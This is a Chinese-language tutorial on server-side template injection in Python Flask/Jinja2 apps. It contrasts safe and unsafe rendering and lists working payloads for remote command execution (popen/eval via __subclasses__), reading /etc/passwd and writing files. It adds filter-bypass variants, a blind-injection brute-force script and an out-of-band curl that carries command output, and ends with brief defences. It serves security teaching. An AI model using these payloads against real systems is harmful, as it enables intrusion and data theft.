SSTI模板注入(Python+Jinja2)
字数 1233 2025-08-20 18:18:05

SSTI模板注入(Python+Jinja2) 全面教学文档

前提知识

  • Python基础
  • Flask框架
  • Jinja2模板引擎

SSTI介绍

SSTI(Server-Side Template Injection)主要存在于使用模板渲染框架的应用中,包括:

  • Python框架:jinja2、mako、tornado、django
  • PHP框架:smarty、twig
  • Java框架:jade、velocity

漏洞成因:渲染函数对用户输入过度信任,导致模板注入漏洞,可能造成文件泄露、RCE等严重后果。

安全原则:永远不要相信用户的任何输入

漏洞成因分析

安全代码示例

from flask import Flask,request,render_template
from jinja2 import Template
app = Flask(__name__)
app.config['SECRET'] = "root:password"

@app.route('/')
@app.route('/index')
def index():
    return render_template("index.html",title='SSTI_TEST',name=request.args.get("name"))

if __name__ == "__main__":
    app.run()
<!--/www/templates/index.html-->
<html>
  <head>
    <title>{{title}} - cl4y</title>
  </head>
 <body>
      <h1>Hello, {{name}} !</h1>
  </body>
</html>

这种写法安全,因为模板已固定,用户输入不会改变模板语法结构。

危险代码示例

from flask import Flask,request
from jinja2 import Template
app = Flask(__name__)
app.config['SECRET_KEY'] = "password:123456789"

@app.route("/")
def index():
    name = request.args.get('name', 'guest')
    t = Template('''
<html>
  <head>
    <title>SSTI_TEST - cl4y</title>
  </head>
 <body>
      <h1>Hello, %s !</h1>
  </body>
</html>
                '''% (name))
    return t.render()

这种写法危险,因为用户输入直接拼接进模板,可能导致SSTI漏洞。

Python基础知识

关键魔术方法

  1. __class__ - 返回对象所属的类

    • 示例:''.__class__<class 'str'>
  2. __bases__ - 以元组形式返回类直接继承的类

    • 示例:''.__class__.__bases__(<class 'object'>,)
  3. __base__ - 返回类直接继承的第一个类

    • 示例:''.__class__.__base__<class 'object'>
  4. __mro__ - 返回方法解析顺序

    • 示例:''.__class__.__mro__(<class 'str'>, <class 'object'>)
  5. __subclasses__() - 获取类的所有子类

    • 示例:object.__subclasses__() → 返回所有内置类的子类
  6. __init__ - 所有自带类都包含的初始化方法

  7. __globals__ - 获取函数所处空间下可用的module、方法和变量

    • 示例:function.__globals__

注入思路与Payload

基本注入思路

  1. 通过内置类对象获取其类
  2. 获取基类(通常是<class 'object'>)
  3. 获取所有子类列表
  4. 在子类列表中寻找可利用的类进行getshell

查找可利用类的方法

from flask import Flask,request
from jinja2 import Template

search = 'eval'  # 可替换为其他想查找的关键字
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
    num += 1
    try:
        if search in i.__init__.__globals__.keys():
            print(i, num)
    except:
        pass

Python2/Python3通用Payload

  1. 直接使用popen(Python2不可用)

    "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
    
  2. 使用os下的popen

    "".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()
    
  3. 使用__import__下的os(Python2不可用)

    "".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()
    
  4. 利用__builtins__下的函数

    "".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
    

Python2特有Payload(文件操作)

# 读文件
[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()

# 写文件
"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')

通用Getshell Payload

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}

绕过技术

  1. 绕过中括号

    "".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen('whoami').read()
    
  2. 绕过逗号+中括号

    {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}
    {{().__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.os.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read()}}
    
  3. 绕过双大括号(DNS外带)

    {% if ''.__class__.__bases__.__getitem__(0).__subclasses__().pop(250).__init__.__globals__.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}
    
  4. Python2盲注

    import requests
    url = 'http://127.0.0.1:8080/'
    
    def check(payload):
        postdata = {'exploit':payload}
        r = requests.post(url, data=postdata).content
        return '~p0~' in r
    
    password = ''
    s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'
    
    for i in xrange(0,100):
        for c in s:
            payload = '{% if "".__class__.__mro__[2].__subclasses__()[40]("/tmp/test").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}~p0~{% endif %}'
            if check(payload):
                password += c
                break
        print password
    
  5. 绕过引号+中括号的通用Getshell

    {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}
    {% for c in ().__class__.__base__.__subclasses__() %}
    {% if c.__name__==chr(95)%2bchr(119)%2bchr(114)%2bchr(97)%2bchr(112)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(111)%2bchr(115)%2bchr(101) %}
    {{ c.__init__.__globals__.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read() }}
    {% endif %}
    {% endfor %}
    

防御措施

  1. 避免直接将用户输入拼接到模板中
  2. 使用安全的模板渲染方式(如第一个示例)
  3. 对用户输入进行严格的过滤和转义
  4. 使用沙箱环境限制模板执行能力
  5. 定期更新框架和依赖库
SSTI模板注入(Python+Jinja2) 全面教学文档 前提知识 Python基础 Flask框架 Jinja2模板引擎 SSTI介绍 SSTI(Server-Side Template Injection)主要存在于使用模板渲染框架的应用中,包括: Python框架:jinja2、mako、tornado、django PHP框架:smarty、twig Java框架:jade、velocity 漏洞成因:渲染函数对用户输入过度信任,导致模板注入漏洞,可能造成文件泄露、RCE等严重后果。 安全原则 :永远不要相信用户的任何输入 漏洞成因分析 安全代码示例 这种写法安全,因为模板已固定,用户输入不会改变模板语法结构。 危险代码示例 这种写法危险,因为用户输入直接拼接进模板,可能导致SSTI漏洞。 Python基础知识 关键魔术方法 __class__ - 返回对象所属的类 示例: ''.__class__ → <class 'str'> __bases__ - 以元组形式返回类直接继承的类 示例: ''.__class__.__bases__ → (<class 'object'>,) __base__ - 返回类直接继承的第一个类 示例: ''.__class__.__base__ → <class 'object'> __mro__ - 返回方法解析顺序 示例: ''.__class__.__mro__ → (<class 'str'>, <class 'object'>) __subclasses__() - 获取类的所有子类 示例: object.__subclasses__() → 返回所有内置类的子类 __init__ - 所有自带类都包含的初始化方法 __globals__ - 获取函数所处空间下可用的module、方法和变量 示例: function.__globals__ 注入思路与Payload 基本注入思路 通过内置类对象获取其类 获取基类(通常是 <class 'object'> ) 获取所有子类列表 在子类列表中寻找可利用的类进行getshell 查找可利用类的方法 Python2/Python3通用Payload 直接使用popen (Python2不可用) 使用os下的popen 使用__ import__ 下的os (Python2不可用) 利用__ builtins__ 下的函数 Python2特有Payload(文件操作) 通用Getshell Payload 绕过技术 绕过中括号 绕过逗号+中括号 绕过双大括号(DNS外带) Python2盲注 绕过引号+中括号的通用Getshell 防御措施 避免直接将用户输入拼接到模板中 使用安全的模板渲染方式(如第一个示例) 对用户输入进行严格的过滤和转义 使用沙箱环境限制模板执行能力 定期更新框架和依赖库